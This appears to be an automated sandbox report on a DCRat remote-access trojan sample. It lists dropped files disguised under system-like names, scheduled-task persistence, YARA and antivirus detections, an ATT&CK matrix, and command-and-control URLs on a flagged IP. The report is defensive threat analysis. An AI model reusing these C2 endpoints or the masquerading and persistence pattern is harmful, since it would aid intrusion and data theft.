Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Queries volume information: C:\Users\user\Desktop\13ZNp2xvRU.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Queries volume information: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Queries volume information: C:\Windows\Panther\setup.exe\fontdrvhost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Queries volume information: C:\Windows\Panther\setup.exe\fontdrvhost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Queries volume information: C:\Windows\twain_32\Registry.exe VolumeInformation
Source: C:\Windows\twain_32\Registry.exe	Queries volume information: C:\Windows\twain_32\Registry.exe VolumeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Queries volume information: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe VolumeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Queries volume information: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe VolumeInformation
Source: C:\ProgramData\smartscreen.exe	Queries volume information: C:\ProgramData\smartscreen.exe VolumeInformation
Source: C:\ProgramData\smartscreen.exe	Queries volume information: C:\ProgramData\smartscreen.exe VolumeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Queries volume information: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe VolumeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Queries volume information: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe VolumeInformation

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000021.00000002.1822645357.0000000002C0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1817416575.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1823482959.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1822645357.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1829855431.00000000028A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1823482959.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1829855431.00000000028E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1830518768.00000000023CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1830518768.0000000002381000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1817416575.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1828805098.0000000002681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1827470717.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1830518768.00000000023D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1827470717.000000000252D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1725729204.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1822130425.0000000003251000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.1825391692.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1828805098.00000000026C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1817100149.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 13ZNp2xvRU.exe PID: 6544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 2504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 6260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Registry.exe PID: 7188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Registry.exe PID: 7224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smartscreen.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smartscreen.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UserOOBEBroker.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UserOOBEBroker.exe PID: 7404, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000021.00000002.1822645357.0000000002C0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1817416575.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1823482959.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1822645357.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1829855431.00000000028A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1823482959.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1829855431.00000000028E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1830518768.00000000023CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1830518768.0000000002381000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1817416575.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1828805098.0000000002681000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1827470717.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1830518768.00000000023D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1827470717.000000000252D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1725729204.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1822130425.0000000003251000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.1825391692.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.1828805098.00000000026C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1817100149.0000000002481000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 13ZNp2xvRU.exe PID: 6544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 2504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 6260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Registry.exe PID: 7188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Registry.exe PID: 7224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RRVGfHJzvQMYfWe.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smartscreen.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smartscreen.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UserOOBEBroker.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UserOOBEBroker.exe PID: 7404, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	122 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
13ZNp2xvRU.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
13ZNp2xvRU.exe	100%	Avira	HEUR/AGEN.1323342
13ZNp2xvRU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\smartscreen.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\twain_32\Registry.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\Panther\setup.exe\fontdrvhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Avira	HEUR/AGEN.1323342
C:\ProgramData\smartscreen.exe	100%	Joe Sandbox ML
C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	100%	Joe Sandbox ML
C:\Windows\twain_32\Registry.exe	100%	Joe Sandbox ML
C:\Windows\Panther\setup.exe\fontdrvhost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\ProgramData\smartscreen.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\RRVGfHJzvQMYfWe.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\Panther\setup.exe\fontdrvhost.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Windows\twain_32\Registry.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat

Source	Detection	Scanner	Label
http://45.130.42.16	0%	Avira URL Cloud	safe
http://45.130.42.16/6/api144/9Wp/	100%	Avira URL Cloud	malware
http://45.130.42.16/upload/resize_cache/bitlate_proshop/e2e/968_503_1/9w9p11chf5twz88a77wq28ajd28u8b	0%	Avira URL Cloud	safe
http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sd	100%	Avira URL Cloud	malware
http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://45.130.42.16/6/api144/9Wp/@0xWdhZWZkRWYvx2ZpJUdwNWb2V2Zh1WS	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.130.42.16/6/api144/9Wp/	RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D34000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://45.130.42.16/upload/resize_cache/bitlate_proshop/e2e/968_503_1/9w9p11chf5twz88a77wq28ajd28u8b	RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sd	RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.130.42.16	RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	13ZNp2xvRU.exe, 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1751125350.0000000002D47000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.130.42.16	unknown	Russian Federation		198610	BEGET-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430583
Start date and time:	2024-04-23 22:41:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	13ZNp2xvRU.exe renamed because original name is a hash value
Original Sample Name:	2519412bd469ce3de2888aa487be8f51.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@33/30@0/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 88% Number of executed functions: 533 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 13ZNp2xvRU.exe, PID 6544 because it is empty
Execution Graph export aborted for target RRVGfHJzvQMYfWe.exe, PID 6376 because it is empty
Execution Graph export aborted for target RRVGfHJzvQMYfWe.exe, PID 7260 because it is empty
Execution Graph export aborted for target RRVGfHJzvQMYfWe.exe, PID 7292 because it is empty
Execution Graph export aborted for target Registry.exe, PID 7188 because it is empty
Execution Graph export aborted for target Registry.exe, PID 7224 because it is empty
Execution Graph export aborted for target UserOOBEBroker.exe, PID 7396 because it is empty
Execution Graph export aborted for target UserOOBEBroker.exe, PID 7404 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 2504 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 6260 because it is empty
Execution Graph export aborted for target smartscreen.exe, PID 7340 because it is empty
Execution Graph export aborted for target smartscreen.exe, PID 7372 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 13ZNp2xvRU.exe

Simulations

Behavior and APIs

Time	Type	Description
21:42:02	Task Scheduler	Run new task: fontdrvhost path: "C:\Windows\Panther\setup.exe\fontdrvhost.exe"
21:42:02	Task Scheduler	Run new task: fontdrvhostf path: "C:\Windows\Panther\setup.exe\fontdrvhost.exe"
21:42:02	Task Scheduler	Run new task: Registry path: "C:\Windows\twain_32\Registry.exe"
21:42:02	Task Scheduler	Run new task: RegistryR path: "C:\Windows\twain_32\Registry.exe"
21:42:02	Task Scheduler	Run new task: RRVGfHJzvQMYfWe path: "C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe"
21:42:02	Task Scheduler	Run new task: RRVGfHJzvQMYfWeR path: "C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe"
21:42:02	Task Scheduler	Run new task: smartscreen path: "C:\Users\All Users\smartscreen.exe"
21:42:02	Task Scheduler	Run new task: smartscreens path: "C:\Users\All Users\smartscreen.exe"
21:42:02	Task Scheduler	Run new task: UserOOBEBroker path: "C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe"
21:42:02	Task Scheduler	Run new task: UserOOBEBrokerU path: "C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe"
22:42:02	API Interceptor	13x Sleep call for process: RRVGfHJzvQMYfWe.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BEGET-ASRU	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	45.130.41.108
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	45.130.41.108
	c3nBx2HQG2.exe	Get hash	malicious	Glupteba, Mars Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	45.130.41.108
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	45.130.41.108
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	45.130.41.108
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	45.130.41.108
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	45.130.41.108
	Specifications_0123jpg.exe	Get hash	malicious	FormBook	Browse	45.130.41.113
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	45.130.41.108
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	45.130.41.108

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with very long lines (949), with no line terminators
Category:	dropped
Size (bytes):	949
Entropy (8bit):	5.914293403626048
Encrypted:	false
SSDEEP:	24:Cumf8cUld2vIUKrhkyHj46tI3lBqf0niCV5v8xzhTqjA+ZHt:CQc6upcayHFq18UBU+ZN
MD5:	27BD844D4F448D48A7CAED15F862D10F
SHA1:	8C41D05746AA0C2639EAEC18E26960DD09FAE7E9
SHA-256:	2177ECB226AE09A67072FF617C51DBEAF845DDD585784EF4F4FD077FA5E4952D
SHA-512:	A329A99286859E93B3484854CEF162814CDE556AE3C290CD547CCE6841850E0ECF2DE64BF0F91C81BF1D4FD07D2E03F7A2DD96641DEEFBF7B0A8F6DD1C0610F8
Malicious:	false
Preview:	mCMlz4vsSocgKM22sNIOh4oM5TyGCsTDO7bAG4vXvEmsksiVakfC97ZrY9qgGpqjVYSNv1vxcvcdS6lMucpbMRDQitmGOORFYCWLaVkiysjOe6YbXdvnAPXEVBpBPpiNeXEPjZwZ1GmerywmUKsudnFIpS0YpjTJJWuH1I27qVv3m2WgPDqE6yt0S6kQjXuSwcUUEpuLSvEH1Lfw5UJm2ONVm3z5ilYSldGKhCbjSewLtl9GaxUONHZiP9sKzznrWvgYEVO32jUYcClA4seuQKEdDi5iTRuc1Ey8FlBEjbWoxBFMXrPHV3bMqCUgaqjlz1gXNn5TqaLzyaqCcsKmBmH8nmRCQfo31uy5er8uw6a4rmYPVRDrf7jMtiulV2CLvR7Dmuiuta0FMMQBOBq9c7Y3KlL57XY43PJaoUnltT7EHeAhStWTLDty3D2BimxWC6L7D0X3YFPI9TwqkonOAEs0fUgkclCHflCLTCdcWd4FxkyjRMa48jV7NVbsTwbxDImYRlWiKK1hKnC5g7SQLHI6PF78kvJjCHBp7aRqz2tyryxkSgMWdLm5AqJMnY7ZBSfClX8FpmaSXUPbSXpEjxF0fFoRQFCb5UwYSu85hGq0uTiqas4Ps2zOMohfsrzjj8XCh1IhZuhcGOGLh80iLxtCfhLoNdN0RHRw6fIjjWz8VXI8iV7t0QYwPUhApdU6gqL97UPC0R8y7urHYNG2fdABsegl7H3GC3boLJAOF53iRjyemalbXbaCqKQdxoFsY2wESD5PN2wkkbtIqB8hfbskcZ8B3haa0KKYxuMjeWOfo0cOaHwwphM6KLl3F3VpbVuZRVU5zZCJNN5l7tlvunvS8NOmISdkAiDSGC6Ew17QeDs6P96VSk5xkbbDHswg5cIoJmf5xg93qex4fRWJWISanPsok27EEaVC4DwmeBivlCHFohizV

C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files (x86)\Java\4ed18479ee5d61

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with very long lines (682), with no line terminators
Category:	dropped
Size (bytes):	682
Entropy (8bit):	5.90332574799271
Encrypted:	false
SSDEEP:	12:wTbhLnE6mQzneT/8RUULD9jaDgQlEr2oorNKpkqKS4xrSZ8j0PW1k:s1LHzeTkRU4D9ja8Ql79NKp3uxrSZyLq
MD5:	B09FE916FDF562AE9773A8002B5CC6E0
SHA1:	15A33867BFCB1B0B5724F9B2284E16B24996BF44
SHA-256:	4E71275B965A46F93B6B822489D533A4BFFD327E216CEA5C2B34DA7419EB77A0
SHA-512:	95116E9332A238D5FF8059CB51825F7ED4A85C764EC9386E81C71E62846F659FE9FC18775DDFC3E9D940FA54DC83C511A82488FEF284BA69A68172675E58FE3E
Malicious:	false
